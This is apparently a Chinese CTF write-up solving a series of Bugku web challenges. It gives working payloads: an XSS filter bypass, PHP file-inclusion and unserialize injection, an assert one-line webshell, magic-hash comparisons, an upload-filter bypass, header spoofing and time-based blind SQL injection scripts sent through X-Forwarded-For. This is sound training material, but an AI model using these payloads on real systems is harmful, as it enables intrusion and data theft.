Bugkuctf中的Web题解(二)

cookies欺骗

网址:http://120.24.86.145:8002/web11/

进去页面一看是一串乱码,但发现url中包含参数filename=a2V5cy50eHQ=,将a2V5cy50eHQ=进行base64解码得keys.txt,将index.php进行base64加密后赋值给filename参数,同时指定line参数的值为1,发现输出了php代码

于是猜测line为行数,写个脚本读出index.php的所有代码

1
2
3
4
5
6
7
import requests

for i in range(0,100):
url = 'http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'%i
r = requests.get(url)
if r.text:
print(r.text,end='')

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

从源代码可以看出,flag在keys.php中,而我们要逐行读取keys.php文件的内容,就必须设置cookie:margin=margin

直接上脚本:

1
2
3
4
5
6
7
8
9
10
import requests

cookie = {
'margin':'margin'
}
for i in range(0,100):
url = 'http://120.24.86.145:8002/web11/index.php?line=%d&filename=a2V5cy5waHA='%i
r = requests.get(url,cookies=cookie)
if r.text:
print(r.text,end='')

结果:

1
<?php $key='KEY{key_keys}'; ?>

XSS注入测试

网址:http://103.238.227.13:10089/

页面提示我们要注入一段xss代码,看一下源代码

关键代码:

1
2
3
4
<script>
var s="";
document.getElementById('s').innerHTML = s;
</script>

id为s的是一个为空的div标签

1
<div id="s"></div>

举个例子说明一下innerHTML

1
2
3
4
5
6
7
8
<a id="baidu"><strong>百度</strong></a>

document.getElementById("baidu") 获得 a 这个元素
document.getElementById("baidu") .innerHTML 获得 a 这个元素内的HTML代码(即<strong>百度</strong>
document.getElementById("baidu") .innerHTML = "<em>谷歌</em>" 
设置 a 这个元素内的HTML代码,
设置后<strong>百度</strong>
就变为<em>谷歌</em>

这里说明一下如果字符串中拼接的 HTML 标签中有 script 标签,那么该段脚本是无法执行的,这并不是 bug,而是 w3c 的文档规定的

再来看看这题,没有给出注入点,按照惯例是id,输入

1
?id=<script>alert(_key_)</script>

查看源代码

1
2
3
<script>
var s="&lt;script&gt;"; document.getElementById('s').innerHTML = s;
</script>

发现<>被html编码,即被过滤了

因为页面编码为utf-8,所以可以将<>进行unicode编码,这样当代码被替换进去运行时,utf-8编码又会将其变回来

输入

1
?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

返回:

1
2
3
4
<script>
var s="\u003cscript\u003ealert('Flag:17f094325e90085b30a5ddefce34acd8')\u003c/script\u003e";
document.getElementById('s').innerHTML = s;
</script>

参考:https://blog.csdn.net/wy_97/article/details/77755098

never give up

网址:http://120.24.86.145:8006/test/hello.php

页面源代码提示

1
<!--1p.html-->

访问http://120.24.86.145:8006/test/1p.html,发现跳转到其他页面

那么访问其源代码view-source:http://120.24.86.145:8006/test/1p/html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>

关键在于Words这个变量,第一行

1
%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21

看起来像是被url编码过,url解码后:

1
2
<script>window.location.href='http://www.bugku.com';</script> 
<!--

后面是被注释的代码:先base64解码后url解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}

看的出来这就是hello.php的源代码,这里出题人没有隐藏文件名,知道了文件名f4l2a3g.txt其实就可以直接访问

但是按照出题人的意思我们要绕过过滤,首先$data必须为”bugku is a nice plateform”,而$data值取决于函数file_get_contents,这里查询得知php后门技巧,利用php协议input,接收post的信息,经过函数file_get_contents就可以读取出来,所以$a=php://input,然后post字符串”bugku is a nice plateform”

接着是$id要等于0,但是代码开头如果$id为0则重定向,所以不能为0,利用php弱类型的特性可以给$id赋值0a

然后$b的检查长度大于5,正则匹配$b第一位必须为4,然而substr()检查$b第一位不能为4,自相矛盾,但是可以利用%00截断eregi函数

综上GET参数为?id=0a&a=php://input&b=%0012345

welcome to bugkuctf

网址:http://120.24.86.145:8006/test1/

进入页面查看源代码,发现提示了源代码

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

审计后GET参数?txt=php://input,POST数据”welcome to the bugkuctf”

之后就是文件包含漏洞,提示了hint.php,我们GET参数file=php://filter/read=convert.base64-encode/resource=hint.php查看hint.php的源代码

base64解码后得hint.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

又提示了flag.php,猜测flag就在这里面,再试试能不能读取flag.php的源代码

貌似被过滤了flag.php

那就看看index.php的源代码吧

解码后得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

果然文件包含被正则匹配过滤了关键词flag,我们要得到flag就必须读取flag.php文件,怎么办呢,想起来还有hint.php的提示,它定义了一个类,类里定义了一个全局变量$file,如果类对象全局变量有设置值,则用file_get_contents函数读取

这里还有一个password参数经过反序列化函数unserialize处理,首先要了解这个函数具体的作用,来看一个例子:

1
2
3
4
5
6
7
8
9
10
<?php

$a = array('a'=>'apple','b'=>'banana','c'=>40);
$s = serialize($a);
echo $s;
$b = unserialize($s);
echo '<br>';
print_r($b);

?>

运行结果:

大概清楚规律了,再看本题,要给参数password赋值一个被序列化的字符串,使password成为Flag类的参数file

有点难理解,再看一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Flag{
public $file;
}

$a = new Flag;
$a -> file = 'flag.php';
$a = serialize($a);
echo $a;

?>

这个例子初始化了一个Flag对象a,并赋值’flag.php’,在进行序列化,得到的值就相当于我们给password赋值一个反序列化的Flag对象

结果:

综上,我们GET参数?txt=php://input&file=hint.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

POST数据welcome to the bugkuctf

成功拿到flag

附上本题参考链接:https://www.cnblogs.com/Pinging/p/8278168.html

过狗一句话

网址:http://120.24.86.145:8010/

题目给出了提示代码:

1
2
3
4
5
6
7
8
<?php

$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);

?>

用assert语句执行任意命令

输入?s=print_r(scandir(‘./‘))

扫描当前目前下所有文件

访问http://120.24.86.145:8010/f94lag.txt

获得flag

字符?正则?

网址:http://120.24.86.145:8002/web10/

代码审计题,代码如下:

1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

匹配正则输出flag值

[:punct:]指任意标点符号

输入?id=keykeykkkkkey:/k/keyk.

获得flag

前女友(SKCTF)

网址:http://118.89.219.210:49162/

页面源代码给了提示链接

链接是一个code.txt文件,里面给出了提示代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

审计代码,熟悉的值不等,md5值相等,240610708和QNKCDZO

还要绕过strcmp,我们知道strcmp比较两个字符串相等时返回0,否则返回大于0或者小于0,我们要输出flag,必须让strcmp返回0,但是strcmp不能处理数组,会返回NULL

所以输入:?v1=240610708&v2=QNKCDZO&v3[]

拿到flag

login1(SKCTF)

网址:http://118.89.219.210:49163/

一个登陆系统,包含了登陆界面和注册界面,注册用户后登陆发现要管理员账号才能看到flag

尝试了万能密码等等都不行,猜测是用了mysql_real_escape函数过滤用户输入,怎么办呢,题目给了提示,sql约束攻击,攻击原理我写在了另一篇文章里,这里就直接给出解题过程

猜测管理员账号是admin,因为注册admin账号,提示admin账号已经存在

注册账号admin 1,(尽量多一点空格)密码自行设置

注册成功来到登录界面,输入账号admin,密码是自行设置的那个密码

拿到flag,不行的话注册admin后面的空格再延长一点应该就可以了

你从哪里来

网址:http://120.24.86.145:9009/from.php

什么都没有提示,源代码也只有一句话,are you from google

猜测要从google访问到该页面才能拿到flag

想起来http请求头的Referer字段值就代表从哪个页面访问到该页面

尝试一下,用burp抓包,在请求头位置添加一行Referer: https://www.google.com

果然,拿到了flag

md5 collision(NUPT_CTF)

网址:http://120.24.86.145:9009/md5.php

md5碰撞,源代码应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if($a != 'QNKCDZO' && $md51 == $md52){
echo "nctf{***}";
}
else{
echo "false!!!";
}
}
else{
echo "please input a";
}

?>

php在比较0e开头的字符串时会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0

附上md5加密后以0e开头的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

输入?a=s878926199a

得到flag

程序员本地网站

网址:http://120.24.86.145:8002/localhost/

题目给出提示要我们从本地访问,用burp抓包添加Referer:http://127.0.0.1,失败

想起头部还有一个字段X-Forwarded-For,代表了来源ip地址,添加X-Forwarded-For:127.0.0.1

获得flag

各种绕过

网址:http://120.24.86.145:8002/web7/

一道代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}

要求我们POST请求提交变量passwd和GET请求提交变量id和变量uname

变量uname和passwd不能相等但是两者sha1加密后完全相等,我们md5和sha1处理数组会返回NULL,且NULL===NULL,id的话让它等于’margin’就行,url解码还是原来的

附上payload

拿到flag

web8

网址:http://120.24.86.145:8002/web8/

代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract函数作用是将数组里的键名取出作为新的变量名,键名对应的键值赋值给响应的变量值

也就是说我们GET的参数ac和fn的值就是变量ac和变量fn的值,题目要求变量ac和变量f完全相等,变量f是变量fn经过file_get_contents得到的值,我们可以利用php://input,让file_get_contents读取字节流

payloads如下

拿到flag

细心

网址:http://120.24.86.145:8002/web13/

看到提示:想办法变成admin,大概是要以管理员身份访问之类的

页面伪造了404页面,两个链接也没有什么提示作用,尝试一下访问robots.txt

发现文件resusl.php

访问

发现下面有提示了一行代码

1
if ($_GET[x]==$password)

大概要我们GET一个参数x,要等于变量password的值,想起来刚开始的提示变成admin,就试了一下GET?x=admin

拿到了flag

求getshell

网址:http://120.24.86.145:8002/web9/

需要我们上传一个图片文件,上传php文件提示

用burp抓包修改文件类型为图片类型,依然上传失败

猜测是对文件名和文件类型都有检查,想了很久不知道怎么做

看了别人的题解,发现要对Content-Type: multipart/form-data修改为Content-Type: Multipart/form-data

绕过过滤,再将文件名修改为php5(php的别名),只有这个没有被过滤,再将文件类型修改为图片类型

具体为什么要这么做,找了好多文章都没有解释原因,暂时当成一个技巧记下来吧

INSERT INTO注入

网址:http://120.24.86.145:8002/web15/

给出了源码提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>

过滤了逗号,并且是insert 注入

我们先来看一下insert注入方法,没有报错,没有查询,只能延时注入

有延迟,可以延时注入

可是过滤了逗号,就没办法用if语句了

但是还有一种判断执行语句:select case when 判断条件 then 执行语句1 else 执行语句2 end

ok,成功延时,那么最后考虑注入的判断条件,正常来说是用substr函数一位一位的截取判断,但是我们之前实用的substr函数也都是需要用到逗号的,怎么办呢

get了另外一种substr函数的使用方法:substr(database() from 1 for 1) = substr(database(),1,1)

接下来只需要写个脚本注入就可以了

先注出数据库名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
for i in range(1,10):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3:
database = database + j
print('the '+str(i)+' place of database is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('database:',database)

结果:

数据名为web15

注表名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
table_name = ''
flag = 1
for i in range(1,20):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
table_name = table_name + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('table_name:',table_name)

这里需要考虑一下服务器有可能自身会延迟,所以我将延迟定在3秒到4秒内

结果:

表名:client_ip,flag

注flag表下的列名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
column_name = ''
flag = 1
for i in range(1,20):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
column_name = column_name + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('column_name:',column_name)

结果:

列名为flag

最后注出flag列下的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
flag = ''
f = 1
for i in range(1,30):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
flag = flag + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
f = 0
break
if f == 0 :
break
print('flag:',flag)

最后的flag